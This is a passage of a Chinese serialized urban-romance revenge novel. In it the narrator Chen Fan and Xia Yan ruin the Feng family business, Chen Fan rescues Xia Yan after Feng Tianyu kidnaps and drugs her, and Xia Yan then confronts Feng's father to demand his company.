“我想睡你倒是真的……”
我笑着开玩笑,夏颜非但没有生气,她也跟着笑了,随后她将手中的啤酒砸向了我,我直接接住,然后对嘴喝了一口。
我的嘴唇精准的覆盖在她的唇印上。
她的脸,刷一下就红了。
“你妹的!”
“你可真会撩人!”
夏颜瞪了我一眼,起身就进了卧室,忽然她趴在了门上,道:“陈凡,谢谢你帮我搞到资料,按照当初的约定,冯家的产业也有你一半。”
我呵呵一笑,心里有些苦涩,夏颜的意思很明显,事情办成了,她也要和我划清界限了。
我一个人躺在床上,脑海里不自觉的就浮现出亲吻夏颜的那一幕,我承认,我对她心动了,只不过感情这种事,不能强求。
我现在能做的就是耐心,等待。
我知道,夏颜对我也有好感,否则她是不会和我接吻的,想到这里,我的心情也好多了,我满怀期待,等着明天看冯家的好戏。
咚咚咚!
早上,我被一阵急促的敲门声惊醒。
“陈凡,快起来看好戏!”
“在不开门,我闯进去了!”
然后我就听见钥匙开门的声音,夏颜穿着睡衣闯入了我的卧室,她一把掀开我的被子,将我从床上拽了下来。
“快!让你看看我们的杰作!”
夏颜将手机递给了我,我努力睁开眼睛,发现她给我看的是海城新闻。
“内部消息!冯氏集团太子爷深陷赌博泥潭,欠下千万赌资!”
“惊天内幕!冯氏集团东郊地产项目涉嫌造假!”
“有关部门已经介入调查!冯氏集团要完了!”
“海城富豪冯氏父子已经跑路!”
我点开进去,下面将冯天宇在澳城赌博的照片都发来了出来,跟帖评论已经多达几百条,可见这条新闻有多热闹。
“在给你看看现在冯氏集团的股价。”
夏颜点开手机股票软件,屏幕上绿油油一片,冯氏集团的股价在快速的下跌。
我暗自佩服夏颜的手段,不过是一个晚上,她就让冯氏集团走向了陌路。
夏颜的手机不停的响起,她兴奋的对我晃了晃手机道:“看,冯家的股东已经开始搬救兵了。”
“你打算什么时候收网?”我问。
“不着急,先让他们着急,不然怎么可能乖乖低价卖给我?”
夏颜的脸上露出了狡黠的笑容,她就像一个猎手一样,在等待猎物主动上钩。
忽然,一个电话打了过来,夏颜的脸上露出意味深长的笑容,我看了看来电显示:冯名城。
这一次,夏颜等了几秒,终于按下了接听键。
“冯叔叔,您还好吗?我刚看到新闻,没想到天宇竟然出了事……”
夏颜说话的时候声音颤抖,潸然欲泣,我听了都心疼,我心想:这女人不去演戏,都可惜了天赋。
“小颜,你先别哭,天宇不务正业,我来管教他,现在冯家资金确实遇到困难了,你要不要先筹措点钱,帮助我们过关。”
“冯叔叔,那你需要多少钱啊?”夏颜哭唧唧的问。
“少说也要四五千万吧,你知道,叔叔东郊那快地工人的工资都要发不出来了。”冯名城语气沉重。
“冯叔叔,我想想办法吧,但我也不一定有这么多钱。”
“好,小颜叔叔先谢谢你了,天宇能遇到你,是他的福气,叔叔今晚办了酒会,你一定要来啊!”
“好的,冯叔叔……”
夏颜挂上电话,狠狠呸了一下,怒骂道:“老东西,不要脸,还想找我借钱?门都没有!”
“那你刚才是忽悠着老东西?”我笑着问。
“当然,不这么说,怎么拖垮他?”
夏颜忽然坐在我身边,她搂着我的肩膀,娇滴滴的说:“小哥哥,你觉得我们是一下搞垮冯家,还是一点点折磨他们?”
“当然是快刀斩乱麻,免得夜长梦多,我恨不得明天冯家就倒闭,我倒想看看冯天宇还狂不狂了!”
“还真是英雄所见略同!”夏颜兴奋道:“冯名城说了东郊工人工资都发不出来了,我们可以从这里入手,如果冯家最大的贷款银行,突然停止贷款,冯天宇会不会疯?”
我翻看了一下夏颜给我准备的资料,道:“你说的是鼎达银行?”
“没错,鼎达银行的项目经理,朱启,是一个极度谨慎的人,传闻他要升为总行行长,你觉得这个节骨眼上,他会给冯家贷款吗?”
“那就看你如何操作了。”我笑着说。
“当然是添油加醋了!”
夏颜说着拿起电话,她拨通了朱启的电话,她娇滴滴道:“朱哥,冯家出事了,你一定要帮帮天宇啊,他可是我的未婚夫,对,就是东郊那快地,谢谢朱哥,我等你消息。”
挂上电话,夏颜得意道:“看着吧,朱启绝对会断了冯天宇的贷款!”
013苏韵的来电!
冯家别墅。
冯名城一巴掌扇在了冯天宇的脸上,冯天宇捂着脸,一脸不服气的质问:“爸,你打我干什么!”
“畜生!”冯名城大骂道:“老子的名声,都让你败坏了,跟你说了多少次,你特么还不长记性,这次把家底都输光了!”
冯名城将手机重重的摔在桌子上,怒骂道:“你自己滚过来看看,看看冯家的股票,都跌成什么样了!”
冯天宇拿起手机,当他看到股票大跌,他脸色难看道:“这不可能,怎么会这样?”
“怎么不会!”冯名城骂道:“东郊的资产评估造假是怎么泄露的,我就问你,你是怎么做事的,这件事都有谁知道,给我调查出来!”
“这……”冯天宇拍着脑袋说道:“这件事就刘伟知道。”
“把他给我喊来!”冯名城狠狠说道:“让老子抓到谁出卖了冯家,我弄死他!”
冯天宇马上给刘伟打电话,但电话那边传来的是空号。
“爸,刘伟电话是空号!”冯天宇意识到了不对劲,说道:“肯定是他出卖消息的,他特么连电话都换了,我特么就是把海城翻个遍,也要把这混蛋找出来!”
“妈的,我们冯家对他不薄,他竟然出卖咱们!”
“滚回来!”冯名城直接开骂道:“你能不能动动脑子,人都跑没影了,你上哪抓,刘伟敢出卖咱们,那一定是背后有人给他更大的利益,你现在马上去查,看看谁在背后搞鬼!”
“今晚,我办了酒会,你和夏颜的婚事,今晚必须定下来,夏颜有钱,我已经朝她借钱了,实在不行,让她收购冯氏集团!”
“爸,这些天我一直接近夏颜,可她不给我机会,他们夏家什么意思,答应了这么亲事,夏颜连手都给不碰一下。”
“蠢货!”冯名城一副恨铁不成钢的样子,骂道:“她不让你碰,你就不会想办法?你不会霸王硬上弓?搞女人都不会,你特么还算是我儿子?!”
“你现在马上去催带块,鼎达银行的贷款要是在批不下来,咱们爷俩就等着喝西北风吧!”
冯名城骂到激烈处,他随手将茶杯砸了出去,冯天宇马上躲了过去,他现在有点心虚,他真怕自己家破产了。
“爸,你消消气,我现在就联系鼎达银行的朱启,他都答应给咱贷款了。”
冯天宇拍着胸脯打着包票,他当着冯名城的面给朱启打电话。
“喂,朱经理,晚上来聚会啊?”冯天宇寒暄道。
“冯总,我最近工作很忙,没有时间啊。”朱启道。
“那我们东郊贷款审批的事情,进展的怎么样?这两天能放款了吧?”冯天宇催促道。
“这个……还是等过段时间再说吧,总行现在有规定,超过五千万的贷款,要慎重审批。”朱启说道。
“朱经理,你不是答应好好的吗,怎么突然变卦了?五千万对你们银行来说屁都不算吧?”冯天宇不悦道。
“冯总,你这是怎么说话呢?银行有银行的规矩,银行又不是我家开的,我想怎么样就怎么样?好了,我还要开会。”朱启不悦的挂断了电话。
“妈的!收老子钱的时候,怎么不见你挂电话!”冯天宇气的直摔手机!
“这是看咱们冯家不行了……”冯名城叹了一口气,他心有不甘,自己打拼了一辈子,才攒下的诺大家业,怎么能眼睁睁看它破产。
“冯总,东郊那边的工人在闹事,吵着要工资!”秘书走了进来汇报道。
“不是明天才发工资么?今天他们闹什么!”冯天宇不高兴道。
“工人说冯家破产了,发不出来工资,所以都来闹了。”秘书小心的说道。
“这帮工人,真是看人下菜碟!”冯天宇骂骂咧咧道:“我看谁闹事,我先废了他!”
“天宇,不管你现在用什么办法,变卖车辆也好,马上把工人的工资发下去!”冯名城下了命令,他穿上衣服道:“工商局的人找我去一趟,你看好家里,千万别在出事。”
冯天宇的心凉了半截,他瘫坐在椅子上,不敢相信今天发生的事情,昨天,他还是海城有名的公子哥,今天,就城了落魄少爷,这种反差,让他接受不了。
……
“银行拒绝贷款,工人催债,股东抛售股票,不出三天,冯氏集团绝对要破产。”
夏颜坐在沙发上吃着零食,看着新闻,跟我分析。
“陈凡,今晚的酒会,你陪我去吧。”夏颜说道。
“你不怕被冯天宇发现咱俩的阴谋?”我问。
“有什么怕的,带你去,就是为了复仇,冯家这座大厦眼看就倒了,身边有你,我没有怕的!”
夏颜眼神真挚,不像是开玩笑。
“好,那我就舍命陪君子了!”
“不,是舍命陪女友!”
就在这时候,我的手机却响了起来,我看了眼来电,有些意外。
“怎么了?”夏颜问。
“是苏韵。”
“接吧,她肯定有事找你!”
夏颜放下零食,起身站到我身边,整个人趴在了我的肩膀上,她的胸正好蹭到了我,让我整个人犹如过电一般。
“喂,有事?”我冷冷的接起电话。
“陈,陈凡!你快来救救我!”苏韵声音哆哆嗦嗦,整个人好像受惊了一样,她哭着说道:“冯天宇今天疯了,他回到家就砸东西,还让我还他钱,我没有,他就打我……”
“陈凡,我好害怕,你能来救救我吗?”
“呜呜……”
我听后微微皱眉,冯天宇打她?还要钱?这是苦肉计还是想找我当备胎?不过,苏韵应该是知道冯家没钱的事。
夏颜忽然拿出手机,打出了一行字:“套她话,问冯天宇为什么发疯?”
“冯天宇为什么发疯?”我问。
“他公司好像出事了,说刘伟怎么背叛他了,他抓到刘伟要杀了他,他爸好像被工商局的人请去了……”苏韵越哭声音越大,她啜泣道:“陈凡,我错了,我真的是后悔自己的选择,我真的是瞎眼了,你才是对我真正好的人,你能给我机会吗?我想在爱你一次,我可以帮你对付冯天宇,我知道他很多事。”
呵呵!
我内心冷笑,这个女人的背叛可真是快啊!
冯家前脚没钱,她后脚就来找我。
这种破鞋,我还会要吗?
夏颜冷笑,她的手指飞快的在键盘上打字:“让她拿出诚意,先说冯天宇的事情。”
“冯天宇有什么见不得人的事?”我问。
苏韵那边沉默了,唯有呼吸声,她挣扎了许久,终于开口道:“为了拿下东郊那块地,两年前,为了逼走当时的钉子户,冯天宇他制造了一起轻微的煤气泄漏事件,导致多个老人住院,甚至重伤,这件事被他压下来了……”
“好了,我知道了。”我不耐烦道。
“陈凡,我能见见你么?我真的好想你……我好爱你……”
啪嗒!
我直接挂断了电话。
夏颜忽然趴在我的肩头,在我耳边低语:“小哥哥,你挂电话的样子可真帅,我喜欢死了呢!”
人逢喜事精神爽,冯天宇越落魄,我就越高兴,我直接吻向了夏颜……
014夏颜被绑架了!
夏颜嘤嘤了两声,她的手忽然搂住了我的腰。
我知道,她是动情了,她的呼吸随之加重,她身体的香气飘进了我的鼻子里。
夏颜热烈的回应我,整个屋子氛围变的火热,我的双手不自觉的抚摸着她的身姿,感受她火热的身材。
不知道过了多久,夏颜的脸都被我吻红了,她才轻轻推开了我。
她娇嗔道:“陈凡,你越来越坏了,现在总想占我便宜。”
“看你脸红的,难道你没和别的男人亲过么?”我贱兮兮的询问。
我有意套取夏颜的话,想知道她有过几个男人,没成遭到了她的白眼,她佯装生气道:“陈凡,你个没良心的,姑奶奶就被你一个男的亲过!”
我得到了夏颜的初吻?
这幸福是不是来的有点太快了?
夏颜被我亲了几次后,她变乖了,至少她现在像一只小猫一样,窝在了我的怀里,她闭着眼睛,呼吸逐渐均匀,她就这样熟睡在我的臂弯。
这一幕,格外的幸福与温馨,我真想让冯天宇看看,他的未婚妻此刻正躺在我的怀里,我真想报复他,他曾经给我的痛苦,我要加倍还给他!
我用手机悄悄拍下了这一幕,让幸福在此刻定格。
入夜,我开着车载着夏颜驶向了海湾大厦,那是冯天宇举办酒会的地方。
“我现在有点期待,冯天宇见到你出现在我身边,他会是什么反应。”夏颜侧着身子波弄着头发,性感又迷人。
“最好是被气死。”我冷冷道。
“那可太好了!”夏颜拍了拍手,眼里闪过一丝调皮,道:“在这个节骨眼还办酒会,冯名城是无路可走了。”
“那就给他们送上一份大礼!”
海湾大厦顶层社会名流齐聚,来到这里的宾客各个西装革履,每个人手里都端着酒杯,谈笑间说的都是生意上的事。
夏颜挽着我的胳膊,当她步入会场的那一瞬间,所有人的目光都聚焦在她的身上,一身优雅淡蓝色礼裙,裙摆恰到好处的盖到小腿,将她笔直的双腿露在外侧,她胸口V字型,看起来格外的诱惑撩人。
可当所有人看到我的时候,目光都变成了惊讶,然后开始议论纷纷。
议论声吵到了正在一旁的冯天宇,他转过头,看到我的时候是不可置信,在看到夏颜挽着我的胳膊,他的表情是怒不可遏,他直接冲了过来!
“陈凡,谁他妈让你来这里的!”冯天宇伸手指着我的脸,骂道:“你给我滚出去,你算什么东西!”
我冷冷一笑,还未等我说话,夏颜就护在我的身前,她说道:“陈凡是我带来的,他是我男朋友,他凭什么不能来!”
“放屁!”冯天宇彻底气急败坏,道:“整个海城都知道你是我的未婚妻,夏颜,你在耍我么?”
“谁说要嫁给你了!”夏颜忽然提高了声音道:“我夏颜,今天来这里,就是为了告诉大家,我不会和冯天宇结婚,陈凡,才是我的男朋友!我要嫁,也是嫁给陈凡!”
“混蛋!”冯天宇气的浑身都在颤抖,他冲过来就要打我,可他还没有碰到我,就被我一脚踹在了地上。
我走过去,俯视着他,冷笑道:“还没碰过夏颜吧?”
我转过身,直接在夏颜的唇上,亲了一下,然后对着冯天宇道:“这是你永远都尝不到的味道!”
“你吗的,陈凡,老子和你势不两立!”冯天宇朝我怒骂。
“冯天宇,请你说话放干净点,陈凡是我的男人,不允许你羞辱他!”
“冯天宇,我本来就不爱你,是你们冯家非要娶我,今天你爸还找我借钱,开口五千万,你们冯家现在这么穷了吗?”
“冯天宇,我的话说的够明白的吧,请你以后,还有你们冯家,不要在打我的主意,我是不会嫁给你的!”
夏颜说完挽着我的手,轻声道:“老公,我们走吧,这里,我一分钟都不想停留。”
“好!”
我和夏颜十指紧握,在众人惊讶的眼神中,走出了宴会厅。
在电梯里,我依旧没有松手。
“还不放手啊,手都被你握红了。”夏颜轻声的说。
“不放,一辈子都不想放。”我认认真真的说道。
“讨厌,就你会说,就你说话好听。”夏颜轻轻拍了我的胳膊,道:“陈凡你刚才看到了吗?冯天宇都被气的发抖了,爽不爽?”
“爽!”我笑着刮了刮她的鼻子,道:“谢谢你,夏颜,帮我报仇。”
“唉!谁让你魅力大,我不宠你都不行呀。”
夏颜的一句宠我,让我心里一暖,眼泪差点掉出来,我从没想到过,像她这种诡计多端的女人,也会走心。
或许,她的狡诈只是她的保护色而已。
这个女人,底色是善良纯粹的,她,敢爱敢恨。
我告诉自己,一定要好好珍惜夏颜。
电梯在1楼停下,当电梯门打开的那一瞬间,忽然涌进来一帮男的,我下意识感觉不对,想要拉紧夏颜的手,却发现我被人群给隔开了,然后那帮男的将夏颜强行拖走。
“陈凡!”
“陈凡救我!”
夏颜的呼喊声,让我顿时紧张。
我想要去救夏颜,但面前被十多个男的给挡住去路,我不管那么多,直接动手开打,我动作凌厉,挥拳速度极快,每一拳都打到对方的脸上!
不过几秒钟,我就放倒了两个男的,后续那帮男的还想上,我根本不给他们反应时间,冲上去,就是狂揍!
妈的,敢当着我的面,抢我的女友,他们不想活了!
我直接按着一个人的头,一个膝顶,他的头满脸是血,我抬头看去,夏颜已经被他们塞进了一辆商务车,商务车飞驰而去!
“人呢!他们把人带哪里去了!”我捏着男人的脸问道。
“咳咳……不知道,我们也是拿钱办事……”
“冯天宇的钱?”我追问。
“咳咳……是!”
妈的,果然是他!我知道现在去追夏颜,已经来不及了,我马上按电梯去顶楼找冯天宇,这次找到他,我一定不会饶了他,这混蛋,竟然玩阴的!
当我上到顶楼,我在会场寻找冯天宇的身影,却始终没有找到,不安的情绪席卷我的身体。
我努力让自己保持理智,现在唯一能找到夏颜的人,就只有她了,柳媚笙!
015救夏颜!
我驱车赶往“魅惑”酒吧,我只记得夏颜和我说过,柳媚笙是有背景的人,在海城就没有她办不了的事情。
我拨打夏颜的手机,关机!
我拨打冯天宇的手机,关机!
不好的预感席卷在我的心头,我责备自己的大意,刚才在电梯里,就不该放开夏颜的手!
紧张,焦虑,不安,我恨不得马上见到柳媚笙,我心里却在祈祷:夏颜千万不要有事,不然我这辈子都于心不安!
我知道,自己应该是喜欢上了这个女人。
不然不会如此着急慌乱。
当我飞奔到“魅惑”酒吧时候,老板娘柳媚笙依旧是笑颜如花,诱惑十足。
“柳姐。”我着急的跑了过去,也顾不得脸上的汗。
“呦,小弟弟,今晚什么风,把你给吹来了?是想姐姐了吗?”柳媚笙双手夹着香烟,她故意冲我吹了一口。
她抽的是女士香烟,味道比较淡,烟雾中的她显的更加妩媚妖娆。
我没有闲工夫和她扯,开门见山道:“柳姐,能不能帮我找一下夏颜,她被冯天宇绑走了!”
柳媚笙脸上的笑容顿时消失,她皱着眉道:“唉!早就提醒过你,冯家没有那么好对付。”
“柳姐,求你帮帮我,你要多少钱,我都给你!”
情急之下,我一把握住了柳媚笙的手,我眼神真挚,柳媚笙显然没有想到我会这么激动,她愣了一下,道:“小弟弟,姐姐不缺钱,只缺个能说话的知心人。”
“好,柳姐,只要你能帮我找到夏颜,你让我做什么都行!”我信誓旦旦道。
柳媚笙抽了一口香烟,笑着道:“陪我一宿?”
“行!”我直接答应了下来。
柳媚笙咯咯笑着,说:“还是小弟弟懂姐姐的风情万种,就喜欢你这小机灵鬼。”
柳媚笙拿出手机,她走到VIP包房,没过多久,她对我说:“我托朋友调了路口的监控,夏颜现在应该是在冯家的东郊工地,那里现在是开发区,没有什么人……”
我还没等柳媚笙说完,直接转身就走,我现在就是在和时间赛跑,因为我的预感告诉我,冯天宇绝对不会放过夏颜……
“喂,陈凡,你要小心……”
“用不用我叫几个兄弟帮你……”
“不用了,谢谢柳姐!”
我拒绝了柳媚笙的好意,我退役前曾是兵王,全国散打冠军,还需要帮手么?一个打十个不在话下!
我飞奔上车,将迈巴赫的油门踩到底!
直奔东郊仓库而去!
……
海城东郊。
一座废弃许久的仓库,此刻灯火通明。
砰!
夏颜被四个壮汉扔在了床上,她的嘴巴被塞了衣服,她的礼裙也被扯坏了,那四个壮汉不管夏颜的挣扎,他们将夏颜手脚绑在了床上。
夏颜拼命的挣扎,眼神满是愤怒和惊恐,可即便如此,她都没有留下一滴眼泪。
“妈的,这娘们可真够有劲儿的,把我手都咬出血了!”
“要不是冯少吩咐了咱们不许碰她,我今晚非睡了她不可!”
“这娘们可是冯少的未婚妻,打她的主意,你疯了吧!”
“别说了,冯少好像来了。”
一阵急促的脚步声,冯天宇阴沉着脸,独自走了进来。
“冯少,我们把这女的给绑好了。”
“知道了,这没你们什么事了,你们走吧。”
冯天宇从皮包里掏出了两万块钱,扔给了四个壮汉,那四个人顿时喜笑颜开,拿了钱马上就走。
冯天宇扯了扯自己的领带,然后脱下西装,他走到夏颜的面前,他抬起手一巴掌就甩在了夏颜的脸上。
夏颜娇俏的脸顿时浮现出五个手指印!
夏颜呜呜的吼叫着,她奋力的挣扎,可她一个女人,根本挣脱不开绳子,她的眼睛里闪着泪花,却强忍着不让自己掉泪,因为那是她的尊严!
啪!
又是一个耳光,甩在了夏颜的脸上,夏颜依旧强忍着眼泪,此刻的冯天宇面目狰狞,就如同走火入魔了一般!
“夏颜,夏大小姐,爽不爽?”冯天宇捏着夏颜的脸,怒骂道:“你刚才的洋洋得意呢!你刚才挽着的兵痞男友呢!怎么不见了啊!”
“你哭什么啊?害怕了吗?你不是和陈凡在一起幸福的很么,怎么现在后悔了?”
夏颜扭过头,不想看冯天宇的脸,可冯天宇却狠狠握着她的下巴,让她无法动弹。
“姓夏的,我现在给你一条路,你选也得选,不选也得选,马上以你的名义,注入五千万的资金给冯氏集团,否则,我今晚就睡了你!”
“现在我给你说话的机会,夏颜,你要珍惜!否则后果自负!”
冯天宇摘掉了夏颜嘴里的破布。
“呸!冯天宇!你个垃圾!你就会使用这种下三滥的手段!你还是个男人?!”
“想让我给你钱花,你做梦吧!”
夏颜疯狂的输出,她不停的骂着冯天宇,夏颜的话就如同利剑,狠狠刺痛冯天宇。
“冯天宇你个垃圾,你有什么资格和陈凡相提并论,他就是比你强一百倍一万倍!”
“你给我闭嘴,你个贱人!”
冯天宇彻底被夏颜的话激怒了,他从裤兜里掏出了两个药丸,直接塞进夏颜的嘴里,他放声大笑道:“夏颜,你个贱人,一会儿我要你哭着喊着求我睡你!”
“你喊啊,你叫啊!这里荒无人烟,没有人会来救你!”
“等到明天天亮,你就乖乖做我的冯家少奶奶吧!”
冯天宇直接将手机对准了夏颜,一脸坏笑道:“我不介意录下来,对了,我还想给陈凡看看,他喜欢的女人,最后都被我睡了!”
“夏颜,你的钱是我的,你的人,也得是我的!”
冯天宇放声大笑,他觉得自己已经赢了,只要把夏颜这个富婆搞到手,冯氏集团的经济危机就会解决,自己的婚姻也会顺理成章。
冯天宇觉得只要搞到夏颜的身子,她就会听自己的。
夏颜不知道冯天宇给自己吃了什么,但她现在浑身燥热无比,她很难受。
“陈凡……陈凡……”夏颜的嘴里不停呼喊陈凡的名字。
“快来救我……陈凡……”
“喊吧,我就不信陈凡能找到这里,他能来救你?!”冯天宇抽着烟狂笑道。
“冯天宇,你失算了,这里,还真让我找到了!”
我一脸愤怒的出现在冯天宇的面前,吓的他嘴里的烟都掉在了地上!
016夏颜的第一个男人!
“陈!陈凡!”
“你怎么找到这里的!”
冯天宇此时犹如受惊的小鸟,他知道自己不是陈凡的对手,他现在非常后悔,刚才为什么让手下走了。
他本想独自享受夏颜的身体,没想到却弄巧成拙,现在身边连个打手都没有,他怎么可能是陈凡的对手。
“对女人动手,你也算是个男人?!”
我看到夏颜脸上的手指印,心里说不出的难受,这一次,我是绝对不会饶了冯天宇。
我一个箭步冲上前,直接跳起,一脚踹在了冯天宇的肚子上!
“呜!”
冯天宇闷哼一声,他被我踹飞出去三米远,他倒在地上捂着肚子直哼哼!
我快步跟上,又是一脚踹在了冯天宇的脸上,这一脚,直接将冯天宇的门牙给踢掉了。
“噗!”
冯天宇吐了一嘴的血在地上,他脸色铁青,声音颤抖着求我:“陈凡……凡子!”
情急之下,冯天宇喊出了我的小名,那是我们曾经兄弟情义的证明,可现在,我只觉的恶心!
“凡子,我们是兄弟啊!”冯天宇捂着嘴,向我打感情牌。
“拿我当兄弟,你睡我前女友?”
“拿我当兄弟,你要睡我现女友?”
“我没你这样的狗日的兄弟!”
我直接骑在了冯天宇的身上,按着他的头,一拳接一拳的猛揍他的脸,他的鼻子被我打塌了,眼睛被打肿了,我还是觉得不解气,我直接解开皮带,狠狠抽打这他!
“陈……”
夏颜的声音喊醒了我,我这才放了冯天宇,赶紧跑向夏颜,我解开夏颜手脚上的绳子,我一脸心疼道:“妈的,他们怎么忍心对你下手!”
这帮畜生,欺负一个女人算什么东西!
夏颜的脸被打肿了,她的裙子也被扯坏了,我立刻脱下西装,套在了夏颜的身上。
夏颜浑身燥热无比,她意识有点恍惚,可看清我的面目之后,她眼泪扑簌簌的往下掉。
她一把搂住了我的脖子,哭着道:“陈凡……他打我……好疼……”
一句话,犹如一把刀一样插在了我的心上。
是那样的刺骨,是那样的心疼。
我搂着夏颜,柔声道:“我替你揍他了,你要觉得不够,我打死他!”
我一边说,一边抚摸夏颜的后背,我想要给她安慰。
夏颜摇了摇头,她趴在我的肩膀上,闭着眼睛道:“带我走,我好热……”
“好,好!”
我连忙答应着,可当我抱着夏颜走过冯天宇的时候,我依旧狠狠地踹了一脚,妈的,这畜生,我真想踢死他!
我横抱着夏颜,感受到她身上的温度越来越热,她时不时的在我耳边轻哼,我察觉到了不对劲。
“你怎么了?”我问。
“冯天宇给我吃了……药丸……我好热啊……”
夏颜的闭着眼睛,声音越来越温柔,她忽然睁开眼睛,眼睛通红的看着我,道:“快点带我回家,求你了……”
我一听就知道怎么回事,这狗日的冯天宇,竟然玩阴招,得不到夏颜,就给夏颜吃药,如果不是我来的及时,冯天宇这畜生就得逞了!
我将夏颜放到副驾驶,然后开着迈巴赫飞驰而去,晚上,路上车少,不过二十几分钟,我就将夏颜送到家里。
我抱着她去卧室,当我将她放在床上的那一刻,夏颜突然睁开了眼睛,她拉住了我的手,含情脉脉的对我说:“留下来,陈凡……要了我……”
这一句话,让我浑身战栗!
我的鸡皮疙瘩都起来了!
今晚,我就要得到夏颜了吗?
“陈凡,我喜欢你……要了我……”
这一晚,我没有在走出夏颜的卧室。
这一晚,我把夏颜变成了我的女人,我要了她的第一次。
这一晚,我们两个人幸福相拥,沉沉睡去……
我不知道自己睡了多久,只知道,当我睁开眼的时候,夏颜就趴在我的怀里,手指在我的胸口画着圈圈。
我轻轻拍了拍她的肩膀,示意她我醒了。
她抬起头,看着我的眼神格外的温柔,特别的宠溺。
我轻轻的摸着她的脸,问道:“还疼么?”
夏颜笑了笑,摇了摇头,道:“不疼,还没有昨晚你要我的时候疼呢。”
我这才想起来,昨晚,是夏颜的初夜,想到这里,我就格外的兴奋。
夏颜轻轻摸了摸我的脸,道:“姑奶奶美若天仙有颜有钱,真是便宜你了。”
我嘿嘿一笑,也不多说话,就狠狠地搂住夏颜道:“这一次,我在也不会放开你的手了。”
夏颜的身子微微的颤抖,她当然知道我说的是什么意思,她抬起头,眼睛微红的问道:“昨晚,你着急了吗?你心疼我吗?”
我狠狠点头道:“我很着急,真的怕你出事,我也怪自己当时在电梯里为什么不攥紧你的手,当我看到你脸上的手指印,我恨不得杀了冯天宇的心都有了。”
夏颜轻轻捂住了我的嘴,她温柔的说道:“知道你的心就好啦,我不要你在打打杀杀,我要你做我的男人,给我安稳。”
我握住了夏颜的手,认真的说道:“当你在电梯被绑走的那一刻,我才知道,我有多害怕失去你,那一刻,我的心都乱了,我才知道,原来失去你,要比被苏韵背叛痛苦一万倍。”
夏颜瞬间睁大了眼睛,她的泪水在眼眶打转,她的眼神格外的认真。
我深吸一口气,不在逃避,我此时此刻,只想说出自己的心里话。
“夏颜,我不是什么英雄,我也不会说什么甜言蜜语,我也没有显赫的家世,我能给你的,就是我的这条命!”
我语气坚定,眼神果敢,我紧紧握住夏颜的手说道:“我向你保证,从今天起,我再也不会放开你的手,我再也不会让人欺负你,谁在敢动你一根头发,我就要了他的命,你要复仇,我就给你递刀,你要冯家死,我就冲锋陷阵,你想要安稳,我就替你挡下所有的风雨!”
我的话铿锵有力,掷地有声,那是一个男人对心爱女人的诺言和保证!
夏颜的眼眶再也承载不住泪水,她的眼泪夺眶而出,她紧紧的抱着我说道:“陈凡,你怎么那么好……”
017冯家倒了!
这是夏颜第一次在我面前哭泣,她流泪的样子让我心疼不已,我唯有抱着她,安慰她起伏不定的情绪。
夏颜抽抽搭搭的,我将她的眼泪擦干净,笑着说道:“在哭,就不漂亮了!”
“胡说!”夏颜摸了摸自己的脸,自恋道:“本姑娘国色天香,倾国倾城,就是哭,也是美成一朵花,陈凡,你知足吧,找了我这么漂亮的老婆。”
“宝贝,你也知足吧,我也很厉害。”我大言不惭道。
“讨厌!”
夏颜娇嗔一声,她嘴上说着讨厌,可看着我的眼神满是宠爱。
我也很享受这种被极品女人宠爱的感觉。
看来,睡女人,还是得睡这种极品女人,那是苏韵这种女人无法带来的感受。
夏颜下了床,她走起路来还有点晃,我知道,是昨晚白卖力气导致的,我不免有点心疼,我跟着下床,在她身后抱着她,道:“怎么这就起来了?”
“去冯家兴师问罪,当然要挑选一件好的衣服喽!”夏颜语气中带着一丝胜利的喜悦。
我点了点头,道:“我跟你一起去。”
“摸摸头,可真是随叫随到的好老公,真有安全感呢!”
我微微一笑,我对夏颜的性格真是一点抵抗力都没有,床上她性感妩媚,床下她古灵精怪,鬼点子一个接着一个,试问,这种磨人的小妖精哪个男人不喜欢呢?
我和夏颜简单的收拾了一下,然后就开车去往冯氏集团。
当我们步入冯家公司的那一刻,映入眼帘的只有四个字,破败荒凉。
原本热闹的公司,现在工位上都没有几个人,所剩不多的工人,也在打包自己的办公用品,看来是已经做好离职了。
“冯家,完了。”夏颜透露出一丝的喜悦,轻声在我耳边说。
随后,她踩着高跟鞋,向着冯名城的办公室走去。
那滴滴答答的高跟鞋声音,就好像响起的战鼓,在向冯名城宣战!
夏颜直接推门而入,她笑着说道:“冯叔叔。”
“夏颜?!”冯名城来人是夏颜,他表情大变,脸上怒不可遏道:“你还有脸来这里?!你把天宇弄哪里去了!”
冯名城在工商局里呆了一天,直到交代完问题,才出来,他听说了在酒会上的事,夏颜当众悔婚,他给自己的儿子打电话,就根本打不通了。
“冯叔叔,这个就应该问冯天宇了吧!”夏颜冷着脸,道:“昨晚,冯天宇唆使手下的人绑架我到了东郊仓库,她不但打了我,还给我下药,企图强行占有我,我已经报警了,冯天宇现在应该在派出所里。”
“你!”
冯名城气的站起身,直指夏颜怒骂道:“你个毒妇!他可是你的未婚夫!你竟然给他送进去?!”
冯名城现在已经腹背受敌,公司被工商局调查,员工们纷纷离职,东郊的工人闹罢工要工资,自己的儿子也被抓了进去,他现在深感无力。
“冯名城!”夏颜忽然改变了称呼,厉声呵斥道:“冯天宇不是我的未婚夫,我的未婚夫是陈凡,至于你们冯家为何沦落到今天这步,只能怪你们自己太贪婪!”
“我和你们冯家素不相识,你们去求夏家,为了把家夏家,竟然求他们联姻,就这样,我被当成了商品随意出售给你们冯家,你觉得,我会不会恨你!”
夏颜收起了往日的玩笑,现在的她就是商场冰冷女总裁,也是直到今日,我才知道她的一点点的故事。
“还有他!”夏颜挽住了我的胳膊,道:“陈凡,特种兵王,你儿子的好兄弟,看冯天宇做了什么,在陈凡服役的时候,你儿子睡了他的女友,我们报复你过分么!”
“冯名城,今天我们就是来讨要说法的!”夏颜毫不客气道。
“你想要什么说法!”冯名城问道。
“我要你的冯氏集团!”夏颜斩钉截铁道。
“你做梦!我就是倒闭,破产,也不会把冯氏集团卖给你!”冯名城的眼睛怒目圆睁!
“你可以不卖给我,我现在会通知我的律师,已强间未遂的名义,来起诉冯天宇。”
“到时候,你儿子要判几年,我想不用我在多说了吧。”
夏颜直接坐在冯名城的对面,以她的年级,能和侵染商场半辈子的冯名城掰手腕,确实有手段,有能力。
“夏颜,你在威胁我!”冯名城狠狠地骂道:“你就不怕我告诉夏家,告诉你爸么!”
“呵!无所谓,想告诉就告诉,看来你和你儿子一样,只会玩一些下三滥的手段。”夏颜冷冷道:“我只给你一分钟考虑的时间,一分钟后,如果你不答应,我会立刻走司法程序,律师会直接起诉冯天宇。”
“呵呵,说我儿子强间未遂,你有证据么?”
冯名城不愧是老狐狸,都这个时候了,还在问夏颜要关键的证据,他不傻,他觉得自己的儿子不会蠢到留下证据。
